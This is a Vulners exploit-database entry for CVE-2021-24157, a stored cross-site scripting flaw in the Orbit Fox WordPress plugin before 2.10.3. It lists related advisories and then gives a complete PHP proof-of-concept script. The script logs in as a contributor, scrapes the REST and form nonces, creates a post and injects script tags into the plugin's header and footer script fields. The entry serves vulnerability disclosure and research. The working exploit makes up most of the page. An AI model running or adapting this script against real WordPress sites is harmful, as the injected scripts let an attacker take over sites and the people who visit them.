Lucene search
+L

Orbit Fox by ThemeIsle < 2.10.3 - Authenticated Stored Cross Site Scripting

🗓️ 12 Jan 2021 00:00:00Reported by Chloe ChamberlandType 
wpexploit
 wpexploit
👁 125 Views

Orbit Fox by ThemeIsle < 2.10.3 - Authenticated Stored Cross Site Scripting allows an authenticated attacker to inject malicious scripts via crafted POST requests to takeover control of an affected websit

Related
Refs
Code
ReporterTitlePublishedViews
Family
attackerkb
ATTACKERKB
CVE-2021-24157
5 Apr 202119:15
attackerkb
cnnvd
CNNVD
WordPress Orbit Fox 跨站脚本漏洞
5 Apr 202100:00
cnnvd
cve
CVE
CVE-2021-24157
5 Apr 202118:27
cve
cvelist
Cvelist
CVE-2021-24157 Orbit Fox by ThemeIsle < 2.10.3 - Authenticated Stored Cross Site Scripting
5 Apr 202118:27
cvelist
euvd
EUVD
EUVD-2021-11071
7 Oct 202500:30
euvd
nvd
NVD
CVE-2021-24157
5 Apr 202119:15
nvd
osv
OSV
CVE-2021-24157
5 Apr 202119:15
osv
prion
Prion
Code injection
5 Apr 202119:15
prion
redhatcve
RedhatCVE
CVE-2021-24157
22 May 202519:20
redhatcve
wpvulndb
WPVulnDB
Orbit Fox by ThemeIsle < 2.10.3 - Authenticated Stored Cross Site Scripting
12 Jan 202100:00
wpvulndb
<?php

// Settings
$siteurl = $argv[1];
$wp_user = $argv[2];
$wp_pass = $argv[3];


$proxy = '127.0.0.1:8081';
$urlbits = parse_url( $siteurl );
$wp_url = $urlbits['scheme'].'://'.$urlbits['host'].'/';

//Json Encode Our New Post
$data = array(
    "title" => "Exploit Post",
    "content" => "<!-- wp:paragraph -->\nSample\n<!-- /wp:paragraph -->",
    "status"=>"pending");

$postdata = json_encode($data);

//Get Json post data length
$length = strlen($postdata);

echo 'Logging in!';

// 1) Log in as contributor+
$ch = curl_init();
$cookiejar = tempnam(sys_get_temp_dir(), 'cookiejar-');
curl_setopt($ch, CURLOPT_URL, $siteurl . '/wp-login.php');
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookiejar);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookiejar);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, [
    'log'        => $wp_user,
    'pwd'        => $wp_pass,
    'rememberme' => 'forever',
    'wp-submit'  => 'Log+In',
]);
$output = curl_exec($ch);
curl_close($ch);

echo 'Grabbing Rest API!';
// Pull the Rest API Nonce
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $siteurl . '/wp-admin/post-new.php');
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookiejar);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookiejar);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$content = curl_exec($ch);
curl_close($ch);

//Rest API Nonce
preg_match('/wp\.apiFetch\.createNonceMiddleware\(\s"([^"]+)"\s\)/', $content, $matches);
$restnonce = $matches[1];

echo 'Creating New Post and Grabbing Page ID!';
//Create New Post
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $siteurl . '/wp-json/wp/v2/posts');
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "POST");
curl_setopt( $ch, CURLOPT_PROXY, $proxy );
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookiejar);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookiejar);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt( $ch, CURLOPT_HTTPHEADER, array(
    'Content-Type: application/json',
    "X-WP-Nonce: $restnonce",
    "Content-Length: $length"));
curl_setopt($ch, CURLOPT_POSTFIELDS, $postdata);
$test = curl_exec($ch);

//Grab the page-id
preg_match('/"id":([^"]+),/', $test, $matches);
$pageid = $matches[1];

echo 'Getting Another Nonce!';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $siteurl . '/wp-admin/post.php?post=' . $pageid . '&action=edit');
curl_setopt( $ch, CURLOPT_PROXY, $proxy );
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookiejar);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookiejar);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$edit = curl_exec($ch);
curl_close($ch);

//Import Nonce
preg_match('/_wpnonce"\svalue="([^"]+)"(.)*user_ID/', $edit, $matches);
$wpnonce = $matches[1];

preg_match('/name="obfx-header-scripts_meta_nonce"\svalue="([^"]+)"/', $edit, $matches);
$metanonce = $matches[1];

preg_match('/name="obfx-footer-scripts_meta_nonce"\svalue="([^"]+)"/', $edit, $matches);
$metanonce2 = $matches[1];

$ch = curl_init();
curl_setopt( $ch, CURLOPT_URL, $siteurl . '/wp-admin/post.php' );
curl_setopt( $ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.13) Gecko/20080311 Firefox/2.0.0.13' );
curl_setopt( $ch, CURLOPT_PROXY, $proxy );
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookiejar);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookiejar);
curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true );
curl_setopt( $ch, CURLOPT_FOLLOWLOCATION, true );
curl_setopt( $ch, CURLOPT_POST, true );
curl_setopt( $ch, CURLOPT_POSTFIELDS, [
    '_wpnonce' => $wpnonce,
    'action' => 'editpost',
    'post_ID' => $pageid,
    'obfx-header-scripts_meta_nonce' => $metanonce,
    'obfx-footer-scripts_meta_nonce' => $metanonce2,
    'obfx-header-scripts' => '<script>alert("header")</script>',
    'obfx-footer-scripts' => '<script>alert("footer")</script>'
] );
$output = curl_exec($ch);
curl_close($ch);
print_r($output);

?>

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

19 Feb 2021 06:01Current
5.5Medium risk
Vulners AI Score5.5
EPSS0.00687
125